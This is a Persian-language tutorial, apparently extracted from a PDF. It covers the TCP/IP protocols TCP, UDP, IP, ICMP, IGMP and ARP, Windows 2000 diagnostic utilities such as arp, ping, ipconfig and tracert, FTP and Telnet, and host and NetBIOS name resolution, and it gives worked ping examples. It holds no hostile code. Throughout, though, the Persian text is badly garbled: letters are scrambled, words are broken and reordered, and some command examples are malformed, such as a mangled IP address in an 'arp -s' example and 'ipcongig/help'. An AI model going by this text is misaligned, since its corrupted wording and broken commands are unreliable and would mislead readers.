اط ب                  کپروت .است تادنداردها ی لازم بمنظور ارتب وق، مجموعه ای از اس ا و دستگاهها     يامپکن  يل های ف ب  را وتره راهم می   کدر ش ه ، ف
رتبط و از خدما      ک ، به پروتTCP/IPل کل ها ی موجود در پروتکر پروتیتمامی برنامه ها و سا . دینما وق م ه ف ه  ل های شش گان ت ارائ

  .م پرداخت ي ، خواه  اشاره شده ل هایک از پروتیکگاه هر یرد و جاکح عملی در ادامه به تشر .ند یشده توسط آنان استفاده می نما

 

  Transportه يلا :   TCPل کپروت

  

  

 TCP (Transmission Control Protocol ( ،ل های استاندارد کی از پروتیکTCP/IP رضه اطلاعات   ع و عیان توزکه امک است
اطی    يچن. دی فراهم می نما    ب اعتماد بالا را   یوتر ، با ضر   يامپکدو  " ن صرفا يب) س ها یسرو(   Unicast،  ) ن دو نقطه     يب " صرفا ( ن ارتب
اط ب    ی رد اتصال گرا ، می با یکدر ارتباطات با رو. ده می شود    ينام ل از ارسال داده ، ارتب ردد   يامپک ن دو يست قب رار گ پس از  . وتر برق
ئن می   ي ، بس ن نوعیارتباطات از ا. جاد شده ، فراهم می گردد یاتصال ا" ان ارسال اطلاعات برای صرفاکرقراری ارتباط ، ام  ب ار مطم

ه می  ک داده هائی TCPوتر مبداء ، يامپکبر روی   . ع اطلاعات برای مقصد مورد نظر برمی گردد         ین توز ين امر به تضم   یباشند ، علت ا   
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سته های اطلاعاتی را         TCPوتر مقصد ،     يامپکدر  . دیسازماندهی می نما  ) Packet(ا در بسته های اطلاعاتی      ست ارسال گردند ر   یبا  ، ب
  .رد کجاد خواهد یا" ه را مجددايص و داده های اوليتشخ

  

   TCP از  ارسال اطلاعات با استفاده
  

TCP   د ی نماارائی ، بسته های اطلاعاتی را بصورت گروهی ارسال می       کش  ی ، بمنظور افزا .TCP ،  یک ت ي موقع( ال ی عدد سر  یک 
الی      اتی ارس سته اطلاع ام ب ه تم سبت ب اتی ن سته اطلاع ه هر )ب ک را ب سبت داده و از  ی ا ن سته ه ور Acknowledgment از ب  بمنظ

ان از درياطم تفاده می نماین ده ، اس ال ش اتی ارس ای اطلاع سته ه ديامپکه يکدر صورت. دیافت گروهی از ب صد ، در م ان وتر مق ت زم
علاوه  . دی اقدام به ارسال اطلاعات می نما " وتر مبداء ، مجددايامپکد ، یمشخصی نسبت به اعلام وصول بسته های اطلاعاتی ، اقدام ننما     

ا ی       TCP بسته اطلاعاتی ،   یک به   Acknowledgment دنباله عددی و     یکبرافزودن   ه ه ا برنام رتبط ب ورت م ه پ  اطلاعات مربوط ب
دا      يامپک وتر مبداء ، از پورت      يامپک. دیز به بسته اطلاعاتی اضافه می نما      ينمبداء و مقصد را      سته های     يت صح  یوتر مقصد بمنظور ه ح ب

ورت   يامپک   .دیوتر مقصد ، استفاده می نما يامپکاطلاعاتی به برنامه مناسب بر روی        دن    يامپک وتر مقصد از پ داء بمنظور برگردان وتر مب
  .رد ک خواهد  وتر مبداء ، استفادهيامپک ننده درکاطلاعات به برنامه ارسال 

  
د ، می با          TCPل  کل به استفاده از پروت    یه تما کوترهائی  يامپک از   یکهر   ه اطلاعات ،    ی  بمنظور ارسال اطلاعات دارن ل از مبادل ست قب
وده و            . ند  یجاد نما ین خود ا  ي اتصال ب  یک وع مجازی ب ا       ي  درگ وتريامپک دو  .ده می شود      ي  نام Sessionاتصال فوق ، از ن اط ، ب ر در ارتب

ت اصول مشخص یبند به رعای پایکگر مرتبط و هر یدیک ، با  Three-Way handshake: ندی با نام ی فرآکمک و ب TCPاستفاده از 
  :رد یند فوق ، در سه مرحله صورت می پذی فرآ .تم مربوطه خواهند بود یشده در الگور

( د ی ه می نماي ، مقداردهی اولSessionق ارسال اطلاعات مربوط به   یا از طر  وتر مبداء ، اتصال مربوطه ر     يامپک: مرحله اول    •
  ) ن تمام بسته های اطلاعاتی و اندازه مربوط به بسته اطلاعاتی ي بسته اطلاعاتی بیکت يعدد مربوط به موقع

  .  ارسال شده ، پاسخ مناسب را خواهد داد  Sessionوتر مقصد ، به اطلاعات يامپک: مرحله دوم  •
  . رد کدا خواهد يوتر مقصد ، آگاهی پيامپک ارسال شده توسط  Acknowledgment کمکوتر مبداء ، از شرح واقعه بيامپک •

  

  Transportه يلا : UDPل کپروت

  

  

UDP) User Datagram Protocol (  ، وده  " حمل "ه ی  در سطح لا  لیک پروت ب   ک ب ه مقصد در ش وده و از   که برنام ه را مشخص نم
وق، ام    لکپروت. صال است   نوع بدون ات   ا سرعت مناسب        ی ان توز ک  ف ا تضم             ع اطلاعات ب ی در رابطه ب ه ول ن صحت ارسال     ي را ارائ

وبی از اطم   طح مطل ات ، س ی آورد   ياطلاع ود نم ان را بوج ای در   UDP. ن ا داده ه ه ب ه   ی در رابط صد ، ب ط مق افتی توس
Acknowledgment ابی در داده های ارسال شده ، تلاش مضاعفی بمنظور ارسال           ا خر یال و   کازی نداشته و در صورت بروز اش      ي ن

ی ه       که داده هائی    کن بدان معنی است     یا. مجدد داده ها ، انجام نخواهد شد         ردد ول افتی و صحت  ی  از داده های در   يک چيمتر ارسال می گ
سل ضم   تسل اتی ، ت ای اطلاع سته ه ردد  ي ب ی گ وق ،کاز پروت.ن نم ه   ل ف ات ب ال اطلاع ور انتق د بمنظ تفاده از  يامپکن ی چن ا اس وتر ب

Broadcast   ا  ی وMulticast     ل  ک پروت. د  ی ، استفاده بعمل می آUDP ،    د    یک  در موارد ا اطلاعات  ی ی از اطلاعات ارسال و       که حجم ان
ردد يت بالائی نمی بانشد ، نيدارای اهم تفاده از پروت . ز استفاده می گ واردی همچون  UDPل ک اس  Multicasting Streaming   در م

media   ، )ا يامپکستی از اسامی     يا انتشار ل  ی و    )نفرانس زنده کدئو  ی و یکر  ينظ د ،             ک   وتره تفاده می گردن ی اس ه بمنظور ارتباطات محل
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داء می با       UDPبمنظور استفاده از    . متداول است    ورت    ی  ، برنامه مب ا يد دق ی  خود را مشخص نما      UDPست پ شابه عمل  " ق ه می   ک اتی  ي م
حتی اگر (ز می باشند ی مجزا و متماTCP از پورت های UDPه پورت های کادآوری است یلازم به . انجام دهد وتر مقصد يامپکست یبا

  ). سان باشند یکدارای شماره پورت 

  

  Internetه يلا:   IPل کپروت

  

IP)  Internet Protocol ( ودن محل ک، ام صد در يامپکان مشخص نم کوتر مق بی ی نماک ش راهم م اطی را ف  یک ، IP. دیه ارتب
وترهای موجود در   يامپکن ينگ ب  يت آن آدرس دهی بسته های اطلاعاتی و روت ين مسئوليه اولکرمطمئن بوده يل بدون اتصال و غ  کپروت
 بسته اطلاعاتی در زمان ارسال گرفتار یکن است کد ، مم ی بسته اطلاعاتی می نما    یکع  ی همواره سعی در توز    IPه  کنیبا ا . ه است   کشب

ی    گم شدن : ر  ي نظ مسائل متعددی  ا اولو   ی  ، عدم توز      ، خراب اخ   ای رار در ارسال و      ک ت مناسب ، ت    ی ع ب د ي ت واردی ،  يدر چن .ر، گردن ن م
ش  IPل کپروت ور حل م د داد کتلاشی بمنظ ام نخواه وق را انج تی  ( لات ف ات درخواس دد اطلاع ال مج اهی) .ارس سته  آگ  از وصول ب

سئول    افت بسته های اط ی و باز  در مقصد  اطلاعاتی م شده ، م ده   ک تی است  يلاعاتی گ ر عه الاتر نظ ی  لایک ه ب ه ی  و TCPر ي ه ب   ا برنام
  . ننده اطلاعات ، واگذار می گردد کارسال 

  

   IPات انجام شده توسط يعمل
  

ذ       ی ات مرتب سازی و توز  يه عملکانی در نظر گرفت    ک را بعنوان م   IPمی توان    سته های اطلاعاتی در آن محل ، صورت می پ رد یع ب
رف یا" ه ی ق لای ا از طری  و  )UDPا ی  و TCP( ه حمل  یل های لا  کی از پروت  یک توسط    بسته ها ی اطلاعاتی   . ب يت رای   ،" ه کس ش  IP ب
ائی است    نگ بسته های اطلاعاتی بمنظور ارسالي ، روتIPفه  ين وظ ياول. ارسال می گردند      سته اطلاعاتی ، شامل     .  به مقصد نه هر ب

ان  ک د ی  را مشخص نما      ، آدرس مقصدی    IPه  يکدر صورت . می باشد ) رنده  يگ(  مقصد   IPو آدرس   ) ه  فرستند(  مبداء   IPآدرس   ه در هم
ستق            سته اطلاعاتی م رای     "مايسگمنت موجود باشد ، ب ردد            يامپک  ب ورد نظر ارسال می گ ان   يکدر صورت . وتر م ه آدرس مقصد در هم

ا یی دیک.دیعات را برای آن ارسال نما    روتر استفاده و اطلا    یکست از   ی ، می با   IPسگمنت نباشد ،     اد اطم ی ، اIPف یگر از وظ ان از  يج ن
ان حر              ین منظور محدود    یبد. ه است   کدر شب ! ) ف  يلکبلات(  بسته اطلاعاتی    یکعدم وجود    ا مدت زم انی خاصی در رابطه ب ت ک ت زم

دار  کی  توسط نسبت دادن  ات فوق،يعمل.ه ، در نظر گرفته می شود کبسته اطلاعاتی در طول شب ه ) TTL(Time To Live مق  هر   ب
ب     که بسته اطلاعاتی قادر به حر     ک  ثر مدت زمانی را   ک ، حدا  TTL. ردی از بسته های اطلاعاتی صورت می پذ       یک ه است  کت در طول ش

  ) .نار گذاشته شودک  ه بسته اطلاعاتیکنیقبل از ا( دیرا مشخص می نما

  

  Internetه يلا:    ICMPل کپروت
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 ICMP (Internet Control Message Protocol( ات لازم در خصوص اش   ک ، ام ا     ال زدائی کان    و گزارش خطاء در رابطه ب
راهم می نما       را  عی رقابل توز يبسته های اطلاعاتی غ    تفاده از      . دی  ف ا اس ا      يامپک ،   ICMPب ا و روتره    بمنظور ارتباطات    IPه از   ک وتره

ده   تي وضع  ادله اطلاعاتی محدود در رابطه  ند ، قادر به گزارش خطاء و مبیاستفاده می نما   ند    بوجود آم ثلا .  می باش ه يکدر صورت " م
IPه توز ادر ب کع ی ، ق د ،  ی ورد نظر نباش صد م ه مق اتی ب سته اطلاع ر غي پیک ICMP ب ی ب ودنيام مبتن ل دسترس ب رای  رقاب  را ب
ا ا  .وتر مبداء ارسال می دارد     يامپک ال داده  IPل ک ه پروتک نی ب ی      ي ب  بمنظور انتق ردد ، ول تفاده می گ دد اس ه   ICMP  ن روترهای متع  ب
ی است     کام های    ي  پ  ای گزارش خطاء و       ، مسئول ارائه   TCP/IPندگی از   ینما ل ک  پروت هک ست ي ن جهت ن ی  ، در ا  ICMPتلاش   . نترل
IP  وان ئن مطرح نماک پروتیک را بعن ون پیل مطم ای يد ، چ ه محتوي دارای ه ICMPام ه ی ب اتییچگون لام وصول پ مبن ام ير اع

)Acknowledgment (       بسته اطلاعاتی نمی باشند  .ICMP ه ف  سعی در گزارش خطاء "  ، صرفا  لازم در رابطه    های کدبي  و ارائ
  . د یت خاص را می نماي وضعیک تحقق  با

  

   Internetه يلا:    IGMP  لکپروت

  

  

IGMP (Internet Group Managment Protocol (د ک لی است ک، پروت رای  ي ت لیریه م  ، در  IP Multicasting  ست اعضاء ب
ده دارد   TCP/IP  هک شبیک ر عه دی است   ی، فرآIP Multicasting.  را ب ر اساس آن   ک ن رای ي  پیک ه ب  گروهی انتخاب شده از     ام ب
   . دی نگهداری می نما ست اعضاء راي لIGMP. ده می شوند ؛ ارسال می گردد ي نام multicatه گروه کرندگان يگ

  
  IP Multicastingت يريمد
  

ه تراف     multicast گروه   یکتمامی اعضاء    دا  IP يک  ، ب ه      ی ه سته های اطلاعاتی            Multicast IP آدرس   یک ت شده ب  ، گوش داده و ب
ند،  با Streaming mediaر ي ابی به اطلاعاتی نظيازمند دستيوتر نيامپکن یه چنديکزمان. ندیافت می نمایرا در ارسال شده به آن آدرس ش

ک رای  IP آدرس ی ده ب ردد  multicasting رزوش ی گ تفاده م ا .  اس ردازش  کروتره ور پ د،  يک پmulticastه بمنظ ی گردن دی م ربن
امی مشتر       رای تم ا را ب روه  کياطلاعات را انتخاب و آنه د  یمی نما  ) Forward(  ارسال  multicastن گ دن اطلاعات  ي بمنظور رس   .ن

Multicast  اطی می با     ي از روترهای موجود در مس        یک  هر   رندگان مربوطه ،  ي به گ ه حما     ی ر ارتب ادر ب  Multicastingت از ی ست ، ق
  .  ، می باشند  IP Multicast  افتی ، قادر به ارسال و در٢٠٠٠نوز یستم عامل ويوترهای مبتنی بر سيامپک. باشند 
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   Internetه يلا : ARPل کپروت

  

  

 ARP) Address Resolution Protocol (، ی است کروتپ سئول هکل سئله ي م ه آدرس" ت م ام ب ا" ن ه ب ای  را در رابط سته ه  ب
وق ،  یماحصل فرآ . ، برعهده دارد ) Outgoing(اطلاعاتی خروجی  د ف ه آدرس IP آدرس  Mapping  ن  MAC( Media Access ب

Control( ه بک.  است  ، مربوط شخ ، MACه از آدرس کارت ش ور ت ق ي بمنظ اتیکص تعل سته اطلاع ه  ب ه ، يامپکی ب وتر مربوط
ه لا       کارت های شبک ،  MACبدون آدرس های    . ند  یاستفاده می نما   سته های اطلاعاتی ب الاتر ی ه ، دانش لازم در خصوص ارسال ب   ه ب

ا رس     .  دارا نخواهند بود      بمنظور پردازش های مربوطه را     ان ب ه لا         يهمزم سته های اطلاعاتی ب ب        IPه  ی دن ب ه ، ک بمنظور ارسال در ش
  .  مبداء و مقصد به آن اضافه می گردد MACرس های آد

  
ARP      ره سازی آدرس های     ي ، از جدولی خاص بمنظور ذخIP   و MAC      تفاده می نما ی از حافظه   . دی  مربوطه ، اس وق   ک محل ه جدول ف

ردد ،   يدر آنجا ذخ رای    لازم mapping  وتر شامل يامپک  هر  ARP Cache. ده می شود  ي  نامARP Cacheره می گ ا و  يپامک ب وتره
  . سگمنت مشابه قرار دارندیک روی   بر " صرفا هکروترهائی است 

  
Physical Address Resolution   

  

ا  یک مقصد هر IP ، آدرس ARPل کپروت ا آدرس  ی  مقاARP Cache از بسته های اطلاعاتی خروجی را ب ورد    MACسه ت  مقصد م
وردیيکدر صورت. نظر را بدست آورد  رددي پ ه م ردد ی بازCache از MACدرس  ، آ دا گ ی گ صورت ؛ یر ايدر غ. ابی م  ARPن
رای  ده دارد ، IPت کيه مالکوتری يامپکدرخواستی را ب د  Broadcast را برعه وده و از وی می خواه ود را MACه آدرس ک نم  خ

 خود اضافه Cacheدرخواست را به ننده کوتر ارسال يامپک MAC، در ابتدا آدرس  )  مربوطه   IPبا  ( وتر مورد نظر    يامپک. د  یاعلام نما 
د داد     MACق ارسال آدرس   ینموده و در ادامه پاسخ لازم را از طر         ه متقاضی خواه  توسط درخواست   ARPه پاسخ  يک زمان.  خود ، ب

ه اطلاعات جد             ی افت گرد یننده ، در  ک تناد ب ا اس دا ب ه              مربوطه  Cacheافتی،  ی د در ی د ، در ابت سته اطلاعاتی ب ه ب ام و در ادام  مقصد    بهنگ
  . وتر مورد نظر ارسال می گردد يامپک

  
صد يکدر صورت که مق گمنتی دی اتی ، س سته اطلاع د ، ی ب ر باش ه ،  MAC ، آدرس ARPگ گمنت مربوط سئول در س ر م ه روت  را ب

د داد  ميتعم ه   (  خواه وط ب ل آدرس مرب صد يامپکدر مقاب سئول   ) . وتر مق ه م ر ، در ادام صد و MACافتن آدرس یروت ا ی مق
Forwardingگر است ی بسته اطلاعاتی برای روتر د.  

هیدر ا ش ، ب ی ن بخ ود   بررس ی موج ای کمک ا و ابزاره ه ه ل    برنام ا پروتک ه ب واه  TCP/IP در رابط ت ي، خ   . م پرداخ
وده است            یاد ه سازی شده در و       ي  پ TCP/IPنسخه   ه نم اربردی را ارائ ه های ک راه خود مجموعه ای از برنام دوز، بهم تف  . ن ا اس اده از ب

ابی به مجموعه ای گسترده از اطلاعات موجود در   يوتر بمنظور دست يک کامپ ی بر روی    ٢٠٠٠ندوز  یبرنامه های فوق ، امکان اجرای و      
دوز   یو. ک شبکه ، وجود خواهد داشت        ی ر          ٢٠٠٠ن ی ب ده از ابزارهای مبتن روه عم ه می نما  TCP/IP ، سه گ ه های   : د ی  را ارائ برنام
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ا     یب  يع ه ه رم افزارهای سمت سرو     ابی ، برنام اطی و ن ده  یی ارتب شر     .س دهن ه ت ه ب روه خواه     یدر ادام ات موجود در هر گ م يح امکان
  . پرداخت 

  

  ابی يب يبرنامه های ع

  

شخ   ابی ، امکان  یب  يبرنامه های ع   راهم می نما                ي ت اربران ف رای ک ا شبکه را ب رتبط ب سائل م د یص و برطرف نمودن م ن ی برخی از ا . ن
  : د از  عبارتن ابزارها

• ARP .    ، وق ه ف ه   Cacheبرنام وط ب ا   )ARP) Addreee Resolution Protocol مرب ش و امکان اصلاح آن را   ی را نم
ه جدول  ی  را در خط دستور تاARP -a  بمنظور استفاده از برنامه فوق ، کافی است. د یفراهم می نما ه    پ و در ادام وط ب  مرب

ARP Cacheک یاده از برنامه فوق می توان با استف. ش داده می شودی ، نماEntry  ستا را به جدول مربوطه اضافه  یا )arp 
 -s  ١۵٧٫۵۵٫٨۵٠٠  ٫٢١٢-aa-00-62-c6-09 (  ک یا اقدام به حذف ی، وhost از جدول نمود )  arp -d . (   

• Hostname .     وق        . ش می دهد    یزبان را نما  يوتر م يبرنامه فوق ، نام کامپ ه ف تفاده از برنام رای اس افی است       ب  Hostname ، ک
  . وتر خود را مشاهده نموديپ و نام کامپیرا در خط دستور ، تا

• IPConfig .    کربندی جاری پروتکل    يبرنامه فوق ، پTCP/IP  آدرس  ( ش  ی را نماIP   امپ یزي ، آدرس ف  )  ...وتر و يکی ، نام ک
 را در خط دستور ipcongig/helpهای برنامه فوق ، ل يبمنظور آشنائی با پتانس. دیو امکان بهنگام سازی آن را فراهم می نما    

  .د یچ های مربوطه آشنا گردين برنامه و سوئی عملکرد ا پ تا بایتا
• Nbtstat .        برنامه فوق ، جدول محلی اسامیNetBIOS    ا د    ی را نم وق ، شامل ل   .ش می ده امپ  ي جدول ف وتر يستی از اسامی ک

   ) mapping  ( مربوطه است IP   بهمراه ها
• Netstat .  برنامه فوق ، اطلاعات مربوط به جلسه کاری)Session(  پروتکل TCP/IP ش می دهد ی را نما.  
• Ping .    ر    يبرنامه فوق ، پ ی ب امپ ي ب IPکربندی و ارتباط مبتن ک درخواست  ی  Ping. دی وتر را بررسی و تست می نما   ين دو ک

ICMP   امپ       ي را از کامپ داء ارسال و ک د داد       ICMP پاسخ    کی ق  ی وتر مقصد از طر    يوتر مب ه آن جواب خواه بمنظور تست   . ب
تفاده از     ا اس اط ب ام  ی  و  IPک آدرس ی ارتب امپ ی ا ن ان  يک ک را   PING [IP_Address or Computer_Name[ وتر ، فرم

ست پ. ديپ نمائیتا ور ت دی يبمنظ امپTCP/IPکربن ر روی ک ود ، از ي ب تفاده نمائ Local  Loopbackوتر خ  Local. د ي اس
 loopback است١٢٧٫٠٫٠٫١   ، شامل آدرس  ) .Ping 127.0.0.1 (   

• Tracert . دن به مقصد مورد نظر را انجام می دهد يک بسته اطلاعاتی تا رسیابی یبرنامه فوق ، رد .  

  

  برنامه های ارتباطی 

  
کس ، را ينیویستم های ير سيدوز نظنیرويا غیندوز و یستم های مبتنی بر ويعی از سي با مجموعه وس  فوق ، امکان ارتباط برنامه های

ند ولی با توجه به یع اطلاعات را فراهم می نماین نوع از برنامه ها امکان ارسال سرینکه ایبا ا. ار کاربران قرار می دهند يدر اخت
متن شفاف ت کاربران بصورت ید اعتبار و هويتمامی اطلاعات شامل اطلاعات مربوط به تائ( ت ارسال اطلاعات توسط آنان يماه

    :ر نمونه هائی از برنامه های ارتباطی می باشند یموارد ز.رد یست دقت لازم صورت پذی، می با) ارسال می گردد 

• FTP . ،با استفاده از پروتکل  برنامه فوق TCPآنان  وترهائی که بر رویي و کامپ٢٠٠٠ندوز ین ويل بی ، اقدام به ارسال فا 
  . د یشده است ، می نما نصب FTPس دهنده ینرم افزار سرو

• Telnet . س دهنده یوترهائی که سرويبرنامه فوق ، امکان ارتباط از راه دور به منابع شبکه موجود در کامپTelnet  بر روی 
  . د ی را فراهم می نما آنان نصب شده است

• Tftp .  برنامه فوق از پروتکلUDPترهائی که بر روی آنان وي و کامپ٢٠٠٠ندوز ین ويل های کوچک بی ، برای ارسال فا
  . دی نصب شده است را فراهم می نما ) TFTP(Trivial File Transfer Protocolس دهنده یسرو

  

  س دهنده ينرم افزارهای سمت سرو
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رای سرو       ین نوع نرم افزارها امکان چاپ و انتشار سرو        یا ا را ب ر       يس گ یس ه ی ب دگان مبتن دوز   ی در و  TCP/IPرن راهم می    ٢٠٠٠ن  ، ف

   .دینما

تاندارد چاپ      یبرنامه فوق ، سرو     . TCP/IPس چاپ   یسرو • ه می نما  TCP/IPس اس وق ، امکان ارسال    یسرو . دی  را ارائ س ف
 چاپگر های متصل     نصب شده باشد ، به٢٠٠٠ندوز یستم های عاملی بجز و    يوترهائی که بر روی آنان س     ي کامپ  چاپ را برای  

  .د یهم می نما ، فرا٢٠٠٠ندوز یوتر مبتنی بر ويک کامپیشده به 
رو • اتی ایس ای اطلاع ت یس ه ه  ) .IIS(نترن رو IIS برنام ای س رم افزاره دهی ، ن ددی نظ س دهن ست ي متع ار ، پ ر وب ، اخب

سخه های         ي ، در س    IIS. ار قرار می دهد   ي را در اخت    TCP/IPل مبتنی بر    ی و ارسال فا    کیيالکترون  Serverستم هائی که از ن
د ، بصورت پ      ی استفاده می نما   ٢٠٠٠ندوز  یو ردد          ين ردد در صورت       ي پ. ش فرض نصب می گ ه عملکرد ا     يشنهاد می گ ن ی که ب

  .ستم نمود ي آن از روی س  )Uninstall(ازی وجود ندارد ، اقدام به حذف يبرنامه ن

  مثال 

  
  TCP/IPنان از صحت عملکرد پروتکل ي بمنظور اطمPing  استفاده از برنامه:  هدف - ١مثال 

  . د یک کاربر مجاز ، به شبکه وارد شوی بعنوان: ک یمرحله  •
    .دي انتخاب نمائ Start | Programs | Accessories  ري را از مسCommand Promptنه یگز :  مرحله دو •
  . د يپ نمائی را در پنجره مربوطه تاPing 127.0.0.1 دستور  :مرحله سه  •

  : اده شود ست نشان دیر می بایج زی پس از انجام مراحل فوق ، نتا:ج ينتا

سته اطلاعاتی در  یمی با : ک  یجه  ينت • سته اطلاعاتی   يافت و ه یست چهار بسته اطلاعاتی ارسال و چهار ب ه ب م نگردد    چگون .  گ
  .  مشکلاتی وجود دارد TCP/IPنصورت در رابطه با نصب یر ايدر غ

 TCP/IP عملکرد و نصب پروتکل  افت گردد ، نشاندهنده صحت   یکه چهار بسته اطلاعاتی ارسال و در      يدر صورت  :  جه دو ينت •
  . است 

 Ping برنامه  ج حاصل از اجرایینتا
C:\>ping 127.0.0.1 
Pinging 127.0.0.1 with 32 bytes of data: 
 
Reply from 127.0.0.1: bytes=32 time<10ms 
TTL=128 
Reply from 127.0.0.1: bytes=32 time<10ms 
TTL=128 
Reply from 127.0.0.1: bytes=32 time<10ms 
TTL=128 
Reply from 127.0.0.1: bytes=32 time<10ms 
TTL=128 
 
Ping statistics for 127.0.0.1: 
Packets: Sent = 4, Received = 4, Lost = 0 (0% 
loss), 
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 
0ms 

   TCP/IP بمنظور صحت عملکرد Hostname و  Ping  استفاده از برنامه های:  هدف  - ٢مثال 
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  . د یک کاربر مجاز ، به شبکه وارد شویبعنوان : ک یمرحله  •
  . دي انتخاب نمائ Start | Programs | Accessories  ري را از مسCommand Promptنه یگز :  مرحله دو •
  . ديپ نمائی را تاhostnameدر پنجره مربوطه ، دستور : مرحله سه  •
امپ   . د  ي پ نمائ ی  را تا   Ping  Computer_Name در پنجره مربوطه ، دستور           :مرحله چهارم    • ام ک ده      ين دار برگردان وتر ، مق

  .  است hostnameشده در اثر اجرای فرمان 

  : ست نشان داده شود یر می بایج زیپس از انجام مراحل فوق ، نتا : جينتا

    ) وتر دارای نام اختصاصی مربوط به خود خواهد بود ين رابطه هر کامپی در ا (وتر يکامپنام : ک یجه ينت •
  )  مربوط به خود خواهد بود IPوتر دارای آدرس ين رابطه هر کامپیدر ا( وتر ي کامپIPآدرس  :  جه دوينت •

 وتر يمشخص نمودن نام کامپ: مرحله اول 
C:\> hostname  
Srco 

 وتري بهمراه نام کامپPingده از دستور استفا: مرحله دوم 
C:> Ping  Srco  
Pinging  Srco.Test.com  [ 10.10.1.1]  with 32 
bytes of data: 
 
Reply from 10.10.1.1: bytes=32 time<10ms 
TTL=128 
Reply from 10.10.1.1: bytes=32 time<10ms 
TTL=128 
Reply from 10.10.1.1: bytes=32 time<10ms 
TTL=128 
Reply from 10.10.1.1: bytes=32 time<10ms 
TTL=128 
 
Ping statistics for 10.10.1.1: 
Packets: Sent = 4, Received = 4, Lost = 0 (0% 
loss), 
Approximate round trip times in milli-seconds: 
Minimum = 0ms, Maximum = 0ms, Average = 
0ms 

  

ه       )map( مپ     IPافتن آدرس   یند فوق،   یماحصل فرآ . م پرداخت   ي، خواه    Name Resoulation بررسی    ن بخش به  یدر ا   ک ی  شده ب
ردد      يات با موفق  يکه عمل يدر صورت ( نام است     ام گ امی اسامی     ) . ت انج ادل   ی  ، می با   User-friendlyتم ه آدرس مع  مربوطه  IPست ب

  .  فراهم گردد   ،TCP/IPبتنی بر ک شبکه مین دستگاههای متقاضی در ينه ارتباط بيمپ تا زم

ل  صد را از طر ي کامپTCP/IPپروتک داء و مق ای مب ی نما IPق آدرس یوتره ائی م ان ، شناس اربران ، تما. د ی آن رای  شتریيل بیک  ب
ام   وتر از انواع متيک کامپیبرای آدرس دهی .  را دارند   )IPآدرس های  ( بخاطرسپردن و استفاده از اسامی ، نسبت به اعداد           اوتی ن ( ف

user friendly names(  ردد ی گ تفاده م دوز یو.  ، اس ور ذخ٢٠٠٠ن امی و آدرس ي ، بمنظ ازی اس ان IPره س ادل آن  ، از   مع
تفاده شده ، از              .کردهای متفاوتی استفاده می گردد      یرو ام اس وع ن ه ن ره نمودن اسامی و   ي ا بمنظور ذخ ی ا پوی ستا و ی ل ای ک فای با توجه ب

ام   ای و IP ، قادر به استفاده از آدرس  FTP و IEر يبرخی از برنامه ها نظ.  شده به آنان استفاده می گردد       مپ IPآدرس های    رای    ن  ب
 TCP/IPق پروتکل  ی ک ارتباط از طریکه از نام استفاده می گردد ، قبل از آغاز يزمان. با مقصد مورد نظر می باشند      برقراری ارتباط 

امی، از فرآ ا ن دی ب ا آدرس Name Resolution  ن تفاده ت امپ IP اس ردد ي ک شخص گ ر ، م ورد نظ  ، IPکه آدرس يدر صورت .  وتر م
    .،ارتباط بلافاصله برقرارخواهد شد )  نام  در مقابل مشخص شدن( مشخص شده باشد 
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 ٤٤    صفحه

  

  انواع نام

  
ه   زباني نام م .NetBIOSو اسامی ) Host(زبان ياسامی م:  وجود دارد  user friendly  دو نوع نام ه ب  IPک آدرس ی  ، نامی است ک

وان       وترنسبت داده شده   يکامپ ا آن را بعن ان  يک می  ت ام م . دی  مشخص نما TCP/IPزب د دارای حداکثر     ين ان ، می توان اراکتر  ٢۵۵زب (  ک
) Alias( مستعار   نام. زبان دارای اشکال متفاوتی می باشند       ياسامی م . باشد   ) hyphens  حروف الفبائی ، کاراکترهای عددی ، نقطه و       

داول در ا   Domain names  و ه مت ند   ين زمی  ، دو نمون ه می باش ه         .ن رتبط شده ب امی خاص و م ستعار، ن ام م .  است  IPک آدرس ی ن
ر روی ا  Domain name  کی  ) . Tehran: ر ينظ( تفاده ب وان     ی ، بمنظور اس تفاده   ی نترنت سازماندهی و از نقطه بعن ده اس ک جداکنن

   ) .  Tehran.Citys.com" مثلا( د یمی نما

  
ع    ی بمنظور مشخص نمودن      ک نام شانزده کاراکتری است که از آن       ی ،   NetBIOSنام    تفاده می      NetBIOSک منب ر روی شبکه اس  ب

  "ن راستا ، صرفا یدر ا.گردد يوترها ، استفاده ميا مجموعه ای از کامپ   یک و   یبمنظور مشخص نمودن      ، NetBIOSک نام   یاز  . گردد  
ه      یا سرو یپانزده حرف اول آن برای نام و از کاراکتر نهائی بمنظور مشخص نمودن منبع و                از   ه ب امپ  ی سی ک د، ی وتر اشاره می نما  يک ک

ه ای از   .استفاده می گردد ع  ی  نمون  در شبکه    File and Print Sharing for Microsoft Networks ، عنصر  NetBIOSک منب
رد   ید ، عنصر فوق ،    یت خود را آغاز می نما     يوتر فعال يکه کامپ يمانز.  است   ٢٠٠٠ندوز  یهای مبتنی بر و     NetBIOSک نام منحصر بف

رفتن    ( انگر عنصر ثبت کننده است      يوتر و کاراکتری است که ب     ينام ثبت شده شامل نام کامپ     . د  یمی نما ) ثبت(جستریرا ر  رای در نظر گ ب
  ) . گر استفاده می گردد یک حرف دینصر ثبت کننده نام ، از وتر از حداکثر پانزده حرف و برای مشخص نمودن عينام کامپ

دوز   یو.  ، می تواند حداکثر پانزده کاراکتر باشد         NetBIOS ، نام    ٢٠٠٠ندوز  یدرو ه ا   ي  ، خود ن    ٢٠٠٠ن وع اسامی نداشته و        ی ازی ب ن ن
  .بکه ای، دارندت های شيت از قابلی بمنظور حماNetBIOSازمند استفاده از اسامی يندوز نینسخه های قبلی و

  

Static IP mapping  
  

ان ن   TCP/IPند ، پروتکل یوتر مقصد ، مشخص می نمايک کامپیک نام را بمنظور برقراری ارتباط با یکه کاربران  يزمان د  يهمچن ازمن
ال اطلاعات است        IPک آدرس   ی ه   ی در ا.  برای تحقق انتق تا لازم است ک امپ   ن راس ام ک ه  ي ن رد   IPک آدرس ی وتر ب ماحصل  . د ، مپ گ

ردد   يا ذخیا پویستا و یک جدول ای، در    ) mapping( ات فوق   يعمل ا    ستای ک جدول ا ی که از يدر صورت . ره می گ ردد ، نت تفاده گ ج ی اس
ند  یفا( ره می گردند  ي ذخ Lmhostsا  ی و   Hosts  ل های یکی از فا  یمورد نظر در     ر ) . ل ها ی فوق، متنی می باش تفاده  ی ن مزیمهمت ت اس

امپ    رهي  ذخ (ره سازی  يو محل ذخ ) متنی  ( ل  یت فا يستا ، امکان سفارشی نمودن آن با توجه به ماه         یاک جدول   یاز   ر روی هر ک ) وتري ب
